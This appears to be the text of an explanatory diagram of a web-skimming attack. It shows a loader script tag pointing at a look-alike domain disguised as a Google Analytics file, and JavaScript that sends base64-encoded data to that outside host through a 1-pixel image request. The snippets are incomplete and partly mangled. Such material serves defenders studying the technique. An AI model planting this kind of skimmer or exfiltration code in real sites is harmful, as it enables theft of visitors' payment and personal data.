

IMPLANT and LOADER

1

Server is
compromised by
the attacker

```
<script  
  src="https://paypal-debit.com/cdn/ga.js"  
></script>
```

btoa()

```
document.write(atob( ))
```

2

Malicious malware loader
planted on the homepage

*Fake domain that
looks legitimate
and obfuscated as
a google analytics
script (ga.js)*

EXFILTRATION

```
var b = document.createElement("img");  
b.width = "1px";  
b.height = "1px";  
b.src = atob( ) + "https://paypal-debit.com/cdn/ga.php?analytics=" +  
  Base64Function(DataName);  
document.body.appendChild(b);
```

Data is exfiltrated using the GET image method. The data is appended to do the image's source as ULR parameters.
